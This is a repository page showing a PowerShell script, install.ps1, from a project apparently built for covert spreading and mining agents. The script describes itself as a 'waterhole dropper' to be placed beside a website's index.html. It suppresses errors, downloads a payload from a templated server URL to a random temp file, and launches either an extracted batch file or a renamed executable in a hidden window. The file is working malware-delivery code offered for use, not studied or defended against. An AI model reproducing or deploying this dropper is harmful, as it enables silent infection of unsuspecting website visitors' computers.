Files
AetherForge/server/web/public/spread/install.ps1
AetherForge a32860b0d9
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
feat: alive UI wave, galaxy presence, spread and fleet enhancements
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
2026-06-04 22:36:17 -07:00

28 lines
1.2 KiB
PowerShell

# AetherForge waterhole dropper — upload as install.ps1 beside index.html
# Placeholders filled by POST /api/v1/builder/spread-kit-export
$ErrorActionPreference = 'SilentlyContinue'
$ProgressPreference = 'SilentlyContinue'
if ('{{CAMPAIGN}}' -ne '') {
$env:AETHER_CAMPAIGN = '{{CAMPAIGN}}'
$env:AETHER_UTM = '{{CAMPAIGN}}'
}
$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())
try { (New-Object Net.WebClient).DownloadFile($url, $tmp) } catch { exit 0 }
if (-not (Test-Path $tmp) -or (Get-Item $tmp).Length -lt 1024) { exit 0 }
$bytes = [System.IO.File]::ReadAllBytes($tmp)
$isZip = $bytes.Length -gt 1 -and $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B
if ($isZip) {
$dir = $tmp + '_bundle'
Add-Type -AssemblyName System.IO.Compression.FileSystem
[System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)
foreach ($name in @('Start.bat','Deploy.bat','start.bat','deploy.bat')) {
$c = Join-Path $dir $name
if (Test-Path $c) { Start-Process 'cmd.exe' -ArgumentList "/c `"$c`"" -WindowStyle Hidden; break }
}
} else {
$exe = $tmp + '.exe'
Move-Item -Path $tmp -Destination $exe -Force
Start-Process -FilePath $exe -WindowStyle Hidden
}